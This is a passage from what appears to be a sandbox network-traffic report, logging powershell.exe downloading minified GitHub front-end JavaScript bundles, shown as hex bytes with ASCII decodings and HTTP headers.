6e 64 65 78 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 63 61 74 61 6c Data Ascii: "use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-f4b251","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catal
2024-09-30 13:50:19 UTC	1378	IN	Data Raw: 74 2e 62 61 73 65 56 61 6c 2e 73 70 6c 69 74 28 2f 5c 73 2f 29 7d 7d 7d 29 3b 76 61 72 20 63 3d 2f 5e 28 28 3f 3a 5b 5c 77 5c 75 30 30 63 30 2d 5c 75 46 46 46 46 5c 2d 5d 7c 5c 5c 2e 29 2b 29 2f 67 3b 6f 2e 70 72 6f 74 6f 74 79 70 65 2e 69 6e 64 65 78 65 73 2e 70 75 73 68 28 7b 6e 61 6d 65 3a 22 54 41 47 22 2c 73 65 6c 65 63 74 6f 72 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 69 66 28 74 3d 65 2e 6d 61 74 63 68 28 63 29 29 72 65 74 75 72 6e 20 74 5b 30 5d 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 7d 2c 65 6c 65 6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 5b 65 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 5d 7d 7d 29 2c 6f 2e 70 72 6f 74 6f 74 79 70 65 2e 69 6e 64 65 78 65 73 2e 64 65 66 61 75 Data Ascii: t.baseVal.split(/\s/)}}});var c=/^((?:[\w\u00c0-\uFFFF\-]\|\\.)+)/g;o.prototype.indexes.push({name:"TAG",selector:function(e){var t;if(t=e.match(c))return t[0].toUpperCase()},element:function(e){return[e.nodeName.toUpperCase()]}}),o.prototype.indexes.defau
2024-09-30 13:50:19 UTC	1378	IN	Data Raw: 28 66 2c 69 3d 64 2e 69 6e 64 65 78 29 29 7c 7c 28 28 73 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 69 29 29 2e 6d 61 70 3d 6e 65 77 20 72 2c 66 2e 70 75 73 68 28 73 29 29 2c 69 3d 3d 3d 74 68 69 73 2e 69 6e 64 65 78 65 73 2e 64 65 66 61 75 6c 74 26 26 74 68 69 73 2e 6c 6f 67 44 65 66 61 75 6c 74 49 6e 64 65 78 55 73 65 64 28 6e 29 2c 28 6c 3d 73 2e 6d 61 70 2e 67 65 74 28 61 29 29 7c 7c 28 6c 3d 5b 5d 2c 73 2e 6d 61 70 2e 73 65 74 28 61 2c 6c 29 29 2c 6c 2e 70 75 73 68 28 6e 29 3b 74 68 69 73 2e 73 69 7a 65 2b 2b 2c 70 2e 70 75 73 68 28 65 29 7d 7d 2c 6f 2e 70 72 6f 74 6f 74 79 70 65 2e 72 65 6d 6f 76 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 29 7b 76 61 72 20 6e 2c 6f 2c 72 2c 69 2c Data Ascii: (f,i=d.index))\|\|((s=Object.create(i)).map=new r,f.push(s)),i===this.indexes.default&&this.logDefaultIndexUsed(n),(l=s.map.get(a))\|\|(l=[],s.map.set(a,l)),l.push(n);this.size++,p.push(e)}},o.prototype.remove=function(e,t){if("string"==typeof e){var n,o,r,i,
2024-09-30 13:50:19 UTC	1378	IN	Data Raw: 4d 61 70 2c 6d 3d 6e 65 77 20 57 65 61 6b 4d 61 70 2c 79 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 45 76 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 2c 22 63 75 72 72 65 6e 74 54 61 72 67 65 74 22 29 3b 66 75 6e 63 74 69 6f 6e 20 76 28 65 2c 74 2c 6e 29 7b 76 61 72 20 6f 3d 65 5b 74 5d 3b 72 65 74 75 72 6e 20 65 5b 74 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 2e 61 70 70 6c 79 28 65 2c 61 72 67 75 6d 65 6e 74 73 29 2c 6f 2e 61 70 70 6c 79 28 65 2c 61 72 67 75 6d 65 6e 74 73 29 7d 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 77 28 29 7b 62 2e 73 65 74 28 74 68 69 73 2c 21 30 29 7d 66 75 6e 63 74 69 6f 6e 20 45 28 29 7b 62 2e 73 65 74 28 74 68 69 73 2c 21 30 29 2c 67 2e 73 65 74 28 74 68 69 73 Data Ascii: Map,m=new WeakMap,y=Object.getOwnPropertyDescriptor(Event.prototype,"currentTarget");function v(e,t,n){var o=e[t];return e[t]=function(){return n.apply(e,arguments),o.apply(e,arguments)},e}function w(){b.set(this,!0)}function E(){b.set(this,!0),g.set(this
2024-09-30 13:50:19 UTC	1378	IN	Data Raw: 6e 20 65 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 6e 65 77 20 43 75 73 74 6f 6d 45 76 65 6e 74 28 74 2c 7b 62 75 62 62 6c 65 73 3a 21 30 2c 63 61 6e 63 65 6c 61 62 6c 65 3a 21 30 2c 64 65 74 61 69 6c 3a 6e 7d 29 29 7d 7d 2c 33 39 35 39 35 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 6c 65 74 20 6f 3b 6e 2e 64 28 74 2c 7b 43 46 3a 28 29 3d 3e 62 2c 70 5f 3a 28 29 3d 3e 78 2c 46 42 3a 28 29 3d 3e 75 2c 53 65 3a 28 29 3d 3e 4f 2c 61 43 3a 28 29 3d 3e 77 2c 7a 56 3a 28 29 3d 3e 45 7d 29 3b 6c 65 74 20 72 3d 6e 65 77 20 57 65 61 6b 53 65 74 2c 69 3d 6e 65 77 20 57 65 61 6b 4d 61 70 3b 66 75 6e 63 74 69 6f 6e 20 61 28 65 3d 64 6f 63 75 6d 65 6e 74 29 7b 69 66 28 69 2e 68 61 73 28 65 29 29 72 65 74 75 72 6e 20 69 2e 67 65 74 28 65 29 3b 6c 65 74 20 74 3d 21 31 2c 6e 3d Data Ascii: n e.dispatchEvent(new CustomEvent(t,{bubbles:!0,cancelable:!0,detail:n}))}},39595:(e,t,n)=>{let o;n.d(t,{CF:()=>b,p_:()=>x,FB:()=>u,Se:()=>O,aC:()=>w,zV:()=>E});let r=new WeakSet,i=new WeakMap;function a(e=document){if(i.has(e))return i.get(e);let t=!1,n=
2024-09-30 13:50:19 UTC	1378	IN	Data Raw: 3d 65 2e 74 61 67 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 69 66 28 65 2e 73 68 61 64 6f 77 52 6f 6f 74 29 7b 66 6f 72 28 6c 65 74 20 6f 20 6f 66 20 65 2e 73 68 61 64 6f 77 52 6f 6f 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 60 5b 64 61 74 61 2d 74 61 72 67 65 74 7e 3d 22 24 7b 6e 7d 2e 24 7b 74 7d 22 5d 60 29 29 69 66 28 21 6f 2e 63 6c 6f 73 65 73 74 28 6e 29 29 72 65 74 75 72 6e 20 6f 7d 66 6f 72 28 6c 65 74 20 6f 20 6f 66 20 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 60 5b 64 61 74 61 2d 74 61 72 67 65 74 7e 3d 22 24 7b 6e 7d 2e 24 7b 74 7d 22 5d 60 29 29 69 66 28 6f 2e 63 6c 6f 73 65 73 74 28 6e 29 3d 3d 3d 65 29 72 65 74 75 72 6e 20 6f 7d 6c 65 74 20 66 3d 65 3d 3e 53 74 72 69 6e 67 28 22 73 79 6d 62 6f 6c Data Ascii: =e.tagName.toLowerCase();if(e.shadowRoot){for(let o of e.shadowRoot.querySelectorAll(`[data-target~="${n}.${t}"]`))if(!o.closest(n))return o}for(let o of e.querySelectorAll(`[data-target~="${n}.${t}"]`))if(o.closest(n)===e)return o}let f=e=>String("symbol
2024-09-30 13:50:19 UTC	1378	IN	Data Raw: 61 63 6b 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 64 69 73 63 6f 6e 6e 65 63 74 65 64 43 61 6c 6c 62 61 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 2e 64 69 73 63 6f 6e 6e 65 63 74 65 64 43 61 6c 6c 62 61 63 6b 28 74 68 69 73 2c 6f 29 7d 3b 6c 65 74 20 72 3d 65 2e 70 72 6f 74 6f 74 79 70 65 2e 61 74 74 72 69 62 75 74 65 43 68 61 6e 67 65 64 43 61 6c 6c 62 61 63 6b 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 61 74 74 72 69 62 75 74 65 43 68 61 6e 67 65 64 43 61 6c 6c 62 61 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 6f 29 7b 74 2e 61 74 74 72 69 62 75 74 65 43 68 61 6e 67 65 64 43 61 6c 6c 62 61 63 6b 28 74 68 69 73 2c 65 2c 6e 2c 6f 2c 72 29 7d 3b 6c 65 74 20 69 3d 65 2e 6f 62 73 65 72 76 65 64 41 74 74 72 69 62 75 74 65 73 7c 7c 5b 5d 3b 4f 62 6a 65 63 74 Data Ascii: ack;e.prototype.disconnectedCallback=function(){t.disconnectedCallback(this,o)};let r=e.prototype.attributeChangedCallback;e.prototype.attributeChangedCallback=function(e,n,o){t.attributeChangedCallback(this,e,n,o,r)};let i=e.observedAttributes\|\|[];Object
2024-09-30 13:50:19 UTC	1378	IN	Data Raw: 29 7d 7d 3b 66 75 6e 63 74 69 6f 6e 20 76 28 65 2c 74 29 7b 69 66 28 21 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 65 2c 79 29 29 7b 6c 65 74 20 74 3d 65 5b 79 5d 2c 6e 3d 65 5b 79 5d 3d 6e 65 77 20 4d 61 70 3b 69 66 28 74 29 66 6f 72 28 6c 65 74 5b 65 2c 6f 5d 6f 66 20 74 29 6e 2e 73 65 74 28 65 2c 6e 65 77 20 53 65 74 28 6f 29 29 7d 6c 65 74 20 6e 3d 65 5b 79 5d 3b 72 65 74 75 72 6e 20 6e 2e 68 61 73 28 74 29 7c 7c 6e 2e 73 65 74 28 74 2c 6e 65 77 20 53 65 74 29 2c 6e 2e 67 65 74 28 74 29 7d 66 75 6e 63 74 69 6f 6e 20 77 28 65 2c 74 29 7b 76 28 65 2c 22 74 61 72 67 65 74 22 29 2e 61 64 64 28 74 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 63 6f Data Ascii: )}};function v(e,t){if(!Object.prototype.hasOwnProperty.call(e,y)){let t=e[y],n=e[y]=new Map;if(t)for(let[e,o]of t)n.set(e,new Set(o))}let n=e[y];return n.has(t)\|\|n.set(t,new Set),n.get(t)}function w(e,t){v(e,"target").add(t),Object.defineProperty(e,t,{co
2024-09-30 13:50:19 UTC	1378	IN	Data Raw: 20 6f 66 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 65 29 29 6e 2e 6f 62 73 65 72 76 65 28 74 29 7d 29 7d 2c 53 3d 6e 65 77 20 57 65 61 6b 4d 61 70 3b 66 75 6e 63 74 69 6f 6e 20 4c 28 65 29 7b 63 61 6e 63 65 6c 41 6e 69 6d 61 74 69 6f 6e 46 72 61 6d 65 28 53 2e 67 65 74 28 65 29 7c 7c 30 29 2c 53 2e 73 65 74 28 65 2c 72 65 71 75 65 73 74 41 6e 69 6d 61 74 69 6f 6e 46 72 61 6d 65 28 28 29 3d 3e 7b 66 6f 72 28 6c 65 74 20 74 20 6f 66 20 41 2e 6b 65 79 73 28 29 29 7b 6c 65 74 20 6e 3d 65 2e 6d 61 74 63 68 65 73 28 74 29 3f 65 3a 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 74 29 3b 69 66 28 63 75 73 74 6f 6d 45 6c 65 6d 65 6e 74 73 2e 67 65 74 28 74 29 7c 7c 6e 29 7b 6c 65 74 20 6f 3d 6e 3f 2e 67 65 74 41 74 74 72 69 Data Ascii: of document.querySelectorAll(e))n.observe(t)})},S=new WeakMap;function L(e){cancelAnimationFrame(S.get(e)\|\|0),S.set(e,requestAnimationFrame(()=>{for(let t of A.keys()){let n=e.matches(t)?e:e.querySelector(t);if(customElements.get(t)\|\|n){let o=n?.getAttri
2024-09-30 13:50:19 UTC	1378	IN	Data Raw: 65 28 22 76 61 6c 75 65 22 29 3b 66 75 6e 63 74 69 6f 6e 20 69 28 29 7b 65 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 6e 65 77 20 43 75 73 74 6f 6d 45 76 65 6e 74 28 22 63 6c 69 70 62 6f 61 72 64 2d 63 6f 70 79 22 2c 7b 62 75 62 62 6c 65 73 3a 21 30 7d 29 29 7d 69 66 28 22 74 72 75 65 22 21 3d 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 64 69 73 61 62 6c 65 64 22 29 29 7b 69 66 28 6e 29 61 77 61 69 74 20 72 28 6e 29 2c 69 28 29 3b 65 6c 73 65 20 69 66 28 74 29 7b 6c 65 74 20 6e 3d 22 67 65 74 52 6f 6f 74 4e 6f 64 65 22 69 6e 20 45 6c 65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 3f 65 2e 67 65 74 52 6f 6f 74 4e 6f 64 65 28 29 3a 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3b 69 66 28 21 28 6e 20 69 6e 73 74 61 6e 63 65 6f 66 20 44 Data Ascii: e("value");function i(){e.dispatchEvent(new CustomEvent("clipboard-copy",{bubbles:!0}))}if("true"!==e.getAttribute("aria-disabled")){if(n)await r(n),i();else if(t){let n="getRootNode"in Element.prototype?e.getRootNode():e.ownerDocument;if(!(n instanceof D

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.7	49741	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:19 UTC	450	OUT	GET /assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_stacktrace-parser_dist_s-6b2a62-6fef0f2ad42a.js HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:20 UTC	694	IN	HTTP/1.1 200 OK Connection: close Content-Length: 17496 Cache-Control: public, max-age=31536000, immutable Content-Type: application/javascript Last-Modified: Wed, 25 Sep 2024 16:52:10 GMT ETag: "0x8DCDD8265CE7852" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 405126 Date: Mon, 30 Sep 2024 13:50:20 GMT X-Served-By: cache-iad-kjyo7100033-IAD, cache-ewr-kewr1740076-EWR X-Cache: HIT, HIT X-Cache-Hits: 22, 0 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 9a2aa4a1621612067640b11b2eb0204a76e337e4
2024-09-30 13:50:20 UTC	1378	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 3d 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 6d 69 6e 69 2d 74 68 72 6f 74 74 6c 65 5f 64 69 73 74 5f 69 6e 64 65 78 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 73 74 61 63 6b 74 72 61 63 65 2d 70 61 72 73 65 72 5f 64 69 73 74 5f 73 2d 36 62 32 61 36 32 22 5d 2c 7b 37 30 31 37 30 3a 28 74 2c 65 2c 69 29 3d 3e 7b 66 75 6e 63 74 69 6f 6e 20 6e 28 74 2c 65 3d 30 2c 7b 73 74 61 72 74 3a 69 3d 21 30 2c 6d 69 64 64 6c 65 3a 6e 3d 21 30 2c 6f 6e 63 65 3a 72 3d 21 31 7d 3d 7b 7d 29 7b 6c 65 74 20 Data Ascii: "use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_stacktrace-parser_dist_s-6b2a62"],{70170:(t,e,i)=>{function n(t,e=0,{start:i=!0,middle:n=!0,once:r=!1}={}){let
2024-09-30 13:50:20 UTC	1378	IN	Data Raw: 3f 65 5b 32 5d 2e 73 70 6c 69 74 28 22 2c 22 29 3a 5b 5d 2c 6c 69 6e 65 4e 75 6d 62 65 72 3a 65 5b 34 5d 3f 2b 65 5b 34 5d 3a 6e 75 6c 6c 2c 63 6f 6c 75 6d 6e 3a 65 5b 35 5d 3f 2b 65 5b 35 5d 3a 6e 75 6c 6c 7d 7d 28 65 29 7c 7c 28 28 72 3d 64 2e 65 78 65 63 28 65 29 29 3f 7b 66 69 6c 65 3a 72 5b 32 5d 2c 6d 65 74 68 6f 64 4e 61 6d 65 3a 72 5b 31 5d 7c 7c 6e 2c 61 72 67 75 6d 65 6e 74 73 3a 5b 5d 2c 6c 69 6e 65 4e 75 6d 62 65 72 3a 2b 72 5b 33 5d 2c 63 6f 6c 75 6d 6e 3a 72 5b 34 5d 3f 2b 72 5b 34 5d 3a 6e 75 6c 6c 7d 3a 6e 75 6c 6c 29 7c 7c 28 28 70 3d 63 2e 65 78 65 63 28 65 29 29 3f 7b 66 69 6c 65 3a 70 5b 33 5d 2c 6d 65 74 68 6f 64 4e 61 6d 65 3a 70 5b 31 5d 7c 7c 6e 2c 61 72 67 75 6d 65 6e 74 73 3a 5b 5d 2c 6c 69 6e 65 4e 75 6d 62 65 72 3a 2b 70 5b 34 Data Ascii: ?e[2].split(","):[],lineNumber:e[4]?+e[4]:null,column:e[5]?+e[5]:null}}(e)\|\|((r=d.exec(e))?{file:r[2],methodName:r[1]\|\|n,arguments:[],lineNumber:+r[3],column:r[4]?+r[4]:null}:null)\|\|((p=c.exec(e))?{file:p[3],methodName:p[1]\|\|n,arguments:[],lineNumber:+p[4
2024-09-30 13:50:20 UTC	1378	IN	Data Raw: 69 74 65 3a 28 29 3d 3e 45 2c 69 73 50 6f 6c 79 66 69 6c 6c 65 64 3a 28 29 3d 3e 77 2c 69 73 53 75 70 70 6f 72 74 65 64 3a 28 29 3d 3e 53 7d 29 3b 76 61 72 20 61 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 73 28 74 29 7b 6c 65 74 20 65 3d 6e 65 77 20 41 62 6f 72 74 43 6f 6e 74 72 6f 6c 6c 65 72 3b 72 65 74 75 72 6e 20 73 65 74 54 69 6d 65 6f 75 74 28 28 29 3d 3e 65 2e 61 62 6f 72 74 28 6e 65 77 20 44 4f 4d 45 78 63 65 70 74 69 6f 6e 28 22 54 69 6d 65 6f 75 74 45 72 72 6f 72 22 29 29 2c 74 29 2c 65 2e 73 69 67 6e 61 6c 7d 66 75 6e 63 74 69 6f 6e 20 75 28 29 7b 72 65 74 75 72 6e 22 61 62 6f 72 74 22 69 6e 20 41 62 6f 72 74 53 69 67 6e 61 6c 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 41 62 6f 72 74 53 69 67 6e 61 6c 2e 74 69 6d 65 6f 75 74 7d Data Ascii: ite:()=>E,isPolyfilled:()=>w,isSupported:()=>S});var a={};function s(t){let e=new AbortController;return setTimeout(()=>e.abort(new DOMException("TimeoutError")),t),e.signal}function u(){return"abort"in AbortSignal&&"function"==typeof AbortSignal.timeout}
2024-09-30 13:50:20 UTC	1378	IN	Data Raw: 66 28 21 74 68 69 73 2e 69 73 43 6f 6e 6e 65 63 74 65 64 29 72 65 74 75 72 6e 21 31 3b 6c 65 74 20 69 3d 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 74 68 69 73 29 3b 69 66 28 22 63 6f 6e 74 65 6e 74 73 22 3d 3d 3d 69 2e 67 65 74 50 72 6f 70 65 72 74 79 56 61 6c 75 65 28 22 64 69 73 70 6c 61 79 22 29 7c 7c 65 26 26 22 76 69 73 69 62 6c 65 22 21 3d 3d 69 2e 67 65 74 50 72 6f 70 65 72 74 79 56 61 6c 75 65 28 22 76 69 73 69 62 69 6c 69 74 79 22 29 29 72 65 74 75 72 6e 21 31 3b 6c 65 74 20 6e 3d 74 68 69 73 3b 66 6f 72 28 3b 6e 3b 29 7b 6c 65 74 20 65 3d 6e 3d 3d 3d 74 68 69 73 3f 69 3a 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 6e 29 3b 69 66 28 22 6e 6f 6e 65 22 3d 3d 3d 65 2e 67 65 74 50 72 6f 70 65 72 74 79 56 61 6c 75 65 28 22 64 69 73 70 Data Ascii: f(!this.isConnected)return!1;let i=getComputedStyle(this);if("contents"===i.getPropertyValue("display")\|\|e&&"visible"!==i.getPropertyValue("visibility"))return!1;let n=this;for(;n;){let e=n===this?i:getComputedStyle(n);if("none"===e.getPropertyValue("disp
2024-09-30 13:50:20 UTC	1378	IN	Data Raw: 2e 74 69 6d 65 6f 75 74 7c 7c 30 2c 72 3d 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 7b 64 69 64 54 69 6d 65 6f 75 74 3a 21 31 2c 74 69 6d 65 52 65 6d 61 69 6e 69 6e 67 3a 28 29 3d 3e 4d 61 74 68 2e 6d 61 78 28 30 2c 35 30 2d 28 44 61 74 65 2e 6e 6f 77 28 29 2d 69 29 29 7d 2c 22 64 69 64 54 69 6d 65 6f 75 74 22 2c 7b 67 65 74 3a 28 29 3d 3e 44 61 74 65 2e 6e 6f 77 28 29 2d 69 3e 6e 7d 29 3b 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 2e 73 65 74 54 69 6d 65 6f 75 74 28 28 29 3d 3e 7b 74 28 72 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 54 28 74 29 7b 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 74 29 7d 66 75 6e 63 74 69 6f 6e 20 44 28 29 7b 72 65 74 75 72 6e 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 2e Data Ascii: .timeout\|\|0,r=Object.defineProperty({didTimeout:!1,timeRemaining:()=>Math.max(0,50-(Date.now()-i))},"didTimeout",{get:()=>Date.now()-i>n});return window.setTimeout(()=>{t(r)})}function T(t){clearTimeout(t)}function D(){return"function"==typeof globalThis.
2024-09-30 13:50:20 UTC	1378	IN	Data Raw: 6f 62 6f 78 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 74 2c 65 2c 7b 74 61 62 49 6e 73 65 72 74 73 53 75 67 67 65 73 74 69 6f 6e 73 3a 69 2c 66 69 72 73 74 4f 70 74 69 6f 6e 53 65 6c 65 63 74 69 6f 6e 4d 6f 64 65 3a 6e 2c 73 63 72 6f 6c 6c 49 6e 74 6f 56 69 65 77 4f 70 74 69 6f 6e 73 3a 6f 7d 3d 7b 7d 29 7b 74 68 69 73 2e 69 6e 70 75 74 3d 74 2c 74 68 69 73 2e 6c 69 73 74 3d 65 2c 74 68 69 73 2e 74 61 62 49 6e 73 65 72 74 73 53 75 67 67 65 73 74 69 6f 6e 73 3d 6e 75 6c 6c 3d 3d 69 7c 7c 69 2c 74 68 69 73 2e 66 69 72 73 74 4f 70 74 69 6f 6e 53 65 6c 65 63 74 69 6f 6e 4d 6f 64 65 3d 6e 75 6c 6c 21 3d 6e 3f 6e 3a 22 6e 6f 6e 65 22 2c 74 68 69 73 2e 73 63 72 6f 6c 6c 49 6e 74 6f 56 69 65 77 4f 70 74 69 6f 6e 73 3d 6e 75 6c 6c 21 3d 6f 3f 6f 3a 7b 62 6c 6f 63 6b Data Ascii: obox{constructor(t,e,{tabInsertsSuggestions:i,firstOptionSelectionMode:n,scrollIntoViewOptions:o}={}){this.input=t,this.list=e,this.tabInsertsSuggestions=null==i\|\|i,this.firstOptionSelectionMode=null!=n?n:"none",this.scrollIntoViewOptions=null!=o?o:{block
2024-09-30 13:50:20 UTC	1378	IN	Data Raw: 74 65 28 22 61 72 69 61 2d 65 78 70 61 6e 64 65 64 22 2c 22 66 61 6c 73 65 22 29 2c 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 61 75 74 6f 63 6f 6d 70 6c 65 74 65 22 2c 22 6c 69 73 74 22 29 2c 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 68 61 73 70 6f 70 75 70 22 2c 22 6c 69 73 74 62 6f 78 22 29 7d 64 65 73 74 72 6f 79 28 29 7b 74 68 69 73 2e 63 6c 65 61 72 53 65 6c 65 63 74 69 6f 6e 28 29 2c 74 68 69 73 2e 73 74 6f 70 28 29 2c 74 68 69 73 2e 69 6e 70 75 74 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 22 72 6f 6c 65 22 29 2c 74 68 69 73 2e 69 6e 70 75 74 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 63 6f 6e 74 72 6f 6c 73 22 29 2c 74 68 69 73 2e 69 6e 70 75 74 2e 72 65 6d 6f 76 65 41 74 Data Ascii: te("aria-expanded","false"),t.setAttribute("aria-autocomplete","list"),t.setAttribute("aria-haspopup","listbox")}destroy(){this.clearSelection(),this.stop(),this.input.removeAttribute("role"),this.input.removeAttribute("aria-controls"),this.input.removeAt
2024-09-30 13:50:20 UTC	1378	IN	Data Raw: 63 6f 6d 62 6f 62 6f 78 2d 6f 70 74 69 6f 6e 2d 64 65 66 61 75 6c 74 22 2c 22 74 72 75 65 22 29 3a 22 73 65 6c 65 63 74 65 64 22 3d 3d 3d 74 68 69 73 2e 66 69 72 73 74 4f 70 74 69 6f 6e 53 65 6c 65 63 74 69 6f 6e 4d 6f 64 65 26 26 74 68 69 73 2e 6e 61 76 69 67 61 74 65 28 31 29 7d 6e 61 76 69 67 61 74 65 28 74 3d 31 29 7b 6c 65 74 20 65 3d 41 72 72 61 79 2e 66 72 6f 6d 28 74 68 69 73 2e 6c 69 73 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 27 5b 61 72 69 61 2d 73 65 6c 65 63 74 65 64 3d 22 74 72 75 65 22 5d 27 29 29 2e 66 69 6c 74 65 72 28 6f 29 5b 30 5d 2c 69 3d 41 72 72 61 79 2e 66 72 6f 6d 28 74 68 69 73 2e 6c 69 73 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 27 5b 72 6f 6c 65 3d 22 6f 70 74 69 6f 6e 22 5d 27 29 29 2e 66 69 6c Data Ascii: combobox-option-default","true"):"selected"===this.firstOptionSelectionMode&&this.navigate(1)}navigate(t=1){let e=Array.from(this.list.querySelectorAll('[aria-selected="true"]')).filter(o)[0],i=Array.from(this.list.querySelectorAll('[role="option"]')).fil
2024-09-30 13:50:20 UTC	1378	IN	Data Raw: 65 6c 65 63 74 6f 72 28 27 5b 61 72 69 61 2d 73 65 6c 65 63 74 65 64 3d 22 74 72 75 65 22 5d 2c 20 5b 64 61 74 61 2d 63 6f 6d 62 6f 62 6f 78 2d 6f 70 74 69 6f 6e 2d 64 65 66 61 75 6c 74 3d 22 74 72 75 65 22 5d 27 29 3b 72 65 74 75 72 6e 21 21 69 26 26 28 22 74 72 75 65 22 3d 3d 3d 69 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 64 69 73 61 62 6c 65 64 22 29 7c 7c 28 69 2e 63 6c 69 63 6b 28 29 2c 21 30 29 29 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 74 29 7b 72 65 74 75 72 6e 21 74 2e 68 69 64 64 65 6e 26 26 21 28 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 49 6e 70 75 74 45 6c 65 6d 65 6e 74 26 26 22 68 69 64 64 65 6e 22 3d 3d 3d 74 2e 74 79 70 65 29 26 26 28 74 2e 6f 66 66 73 65 74 57 69 64 74 68 3e 30 7c 7c 74 2e 6f 66 66 73 65 74 48 65 Data Ascii: elector('[aria-selected="true"], [data-combobox-option-default="true"]');return!!i&&("true"===i.getAttribute("aria-disabled")\|\|(i.click(),!0))}function o(t){return!t.hidden&&!(t instanceof HTMLInputElement&&"hidden"===t.type)&&(t.offsetWidth>0\|\|t.offsetHe
